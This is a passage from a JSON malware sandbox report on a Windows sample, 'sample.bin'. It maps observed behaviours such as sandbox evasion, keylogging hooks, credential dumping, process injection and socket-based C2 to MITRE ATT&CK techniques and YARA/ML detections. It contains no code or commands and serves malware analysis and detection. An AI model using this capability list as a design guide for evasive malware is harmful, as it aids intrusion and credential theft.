string"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find device information"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Mshta","attack_id":"T1218.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/005","identifiers":[{"type":"malicious","value":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet cache entries (API string)"},{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid ExportDirectory of PE file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-153","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$25","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Cyberlink\\\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\"), Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"sample.bin\"), Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-307","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"uld not loBigBang.pdb\"","origin":"sample.bin","id":"string-7","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesA\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-88","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"sample.bin\", Found registry query API: \"RegQueryValueExA\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExW\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExA\" in \"sample.bin\", Found registry query API: \"RegEnumKeyExA\" in \"sample.bin\", Found registry query API: \"RegQueryInfoKeyA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-115","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-205","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056","id":"string-403","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\"), Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessageA\" (Indicator: \"postmessage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"sample.bin\"), Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"sample.bin\"), Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyA\" in \"sample.bin\", Found registry deletion API: \"RegDeleteValueA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-230","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-91","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-304","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\"), Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"hf.bi\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"mx.v\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-169","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; Source: \"sample.bin\"), Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; Source: \"sample.bin\"), Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-354","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a 